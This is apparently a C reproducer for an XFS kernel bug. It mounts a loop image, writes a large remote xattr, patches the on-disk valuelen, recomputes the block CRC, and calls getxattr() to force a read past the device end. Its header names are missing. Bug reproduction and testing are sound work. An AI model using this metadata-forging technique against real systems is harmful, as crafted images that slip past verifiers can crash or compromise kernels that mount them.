// WARNING in xfs_find_get_buf (xfs_buf_map_verify) from getxattr() on a remote xattr whose on-disk valuelen is // larger than the blocks it owns. // Needs an empty XFS image at /files/attr.img (mkfs.xfs -f, 300 MiB, default v5 features) and runs as root. // 1. Mount it and give /tmp/mnt/leaf a 16160-byte user.big xattr (a leaf-form attr fork with a 4-block remote // value; 16160 is 4 remote payloads of 4040 bytes). // 2. Unmount and rewrite user.big's valuelen in the attr leaf block to 65536, which the leaf verifier accepts // (it only rejects > XFS_XATTR_SIZE_MAX), and fix the block's CRC. // 3. Mount again and getxattr() with a 65536-byte buffer: xfs_attr_rmtval_get() maps past the value's 4 blocks // into a hole and reads a daddr past the end of the device. #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define IMG "/files/attr.img" #define MNT "/tmp/mnt" #define BLK 4096 #define LOOP_CTL_GET_FREE 0x4C82 #define LOOP_SET_FD 0x4C00 #define LOOP_CLR_FD 0x4C01 #define BIG 16160 #define FAKE_LEN 65536 struct ext { uint64_t phys, len; }; static char loopdev[32]; static int loopfd = -1; static void die(const char *m) { printf("FATAL %s: %s\n", m, strerror(errno)); fflush(stdout); exit(2); } static void attach(void) { int img = open(IMG, O_RDWR); if (img < 0) die("open image"); int n = -1; int ctl = open("/dev/loop-control", O_RDWR); if (ctl >= 0) { n = ioctl(ctl, LOOP_CTL_GET_FREE); close(ctl); } for (int t = 0; t < 8; t++) { snprintf(loopdev, sizeof loopdev, "/dev/loop%d", n >= 0 ? n : t); loopfd = open(loopdev, O_RDWR); if (loopfd >= 0 && ioctl(loopfd, LOOP_SET_FD, img) == 0) { close(img); return; } if (loopfd >= 0) close(loopfd); if (n >= 0) break; } die("attach loop"); } static void detach(void) { ioctl(loopfd, LOOP_CLR_FD, 0); close(loopfd); loopfd = -1; } static void mount_xfs(void) { if (mount(loopdev, MNT, "xfs", 0, NULL)) die("mount xfs"); } static void umount_xfs(void) { sync(); if (umount2(MNT, 0)) die("umount"); } static uint32_t crc32c_raw(uint32_t crc, const unsigned char *p, size_t n) { for (size_t i = 0; i < n; i++) { crc ^= p[i]; for (int k = 0; k < 8; k++) crc = (crc >> 1) ^ (0x82F63B78u & -(crc & 1)); } return crc; } static uint32_t xfs_blk_crc(const unsigned char *blk) { unsigned char tmp[BLK]; memcpy(tmp, blk, BLK); memset(tmp + 12, 0, 4); return ~crc32c_raw(0xffffffffu, tmp, BLK); } static int attr_extents(const char *path, struct ext *out, int max) { int fd = open(path, O_RDONLY); if (fd < 0) die("open file for fiemap"); size_t sz = sizeof(struct fiemap) + 128 * sizeof(struct fiemap_extent); struct fiemap *fm = calloc(1, sz); fm->fm_start = 0; fm->fm_length = ~0ULL; fm->fm_flags = FIEMAP_FLAG_SYNC | FIEMAP_FLAG_XATTR; fm->fm_extent_count = 128; if (ioctl(fd, FS_IOC_FIEMAP, fm) < 0) die("fiemap xattr"); int n = 0; for (unsigned i = 0; i < fm->fm_mapped_extents && n < max; i++) { out[n].phys = fm->fm_extents[i].fe_physical; out[n].len = fm->fm_extents[i].fe_length; n++; } free(fm); close(fd); return n; } // Patch the valuelen of the "big" remote entry in a leaf block in the image file. // Returns 1 if this block was patched. static int patch_block(int img, uint64_t off) { unsigned char blk[BLK]; unsigned char pat[8] = { 0 }; uint32_t pbe = htobe32(BIG); memcpy(pat, &pbe, 4); pat[4] = 3; memcpy(pat + 5, "big", 3); if (pread(img, blk, BLK, off) != BLK) die("pread leaf"); if (blk[8] != 0x3b || blk[9] != 0xee) return 0; // XFS_ATTR3_LEAF_MAGIC unsigned char *hit = memmem(blk, BLK, pat, sizeof pat); if (!hit) return 0; uint32_t stored; memcpy(&stored, blk + 12, 4); uint32_t calc = xfs_blk_crc(blk); if (calc != stored) { printf("CRC self-check FAILED at off %llu: stored=%08x calc=%08x\n", (unsigned long long)off, stored, calc); fflush(stdout); exit(3); } uint32_t be = htobe32(FAKE_LEN); memcpy(hit, &be, 4); // valuelen field uint32_t nc = xfs_blk_crc(blk); memcpy(blk + 12, &nc, 4); if (pwrite(img, blk, BLK, off) != BLK) die("pwrite leaf"); return 1; } int main(void) { char *v = malloc(FAKE_LEN), path[] = MNT "/leaf"; struct ext e[64]; int n, patched = 0, img; memset(v, 'A', BIG); mkdir(MNT, 0755); attach(); mount_xfs(); close(creat(path, 0644)); if (setxattr(path, "user.big", v, BIG, 0)) die("setxattr"); n = attr_extents(path, e, 64); /* the extents stay valid after unmount */ umount_xfs(); detach(); img = open(IMG, O_RDWR); for (int i = 0; i < n; i++) for (uint64_t o = 0; o < e[i].len; o += BLK) patched += patch_block(img, e[i].phys + o); fsync(img); close(img); printf("patched %d leaf block(s)\n", patched); attach(); mount_xfs(); printf("getxattr(65536) = %zd (%s)\n", getxattr(path, "user.big", v, FAKE_LEN), strerror(errno)); umount_xfs(); detach(); return 0; }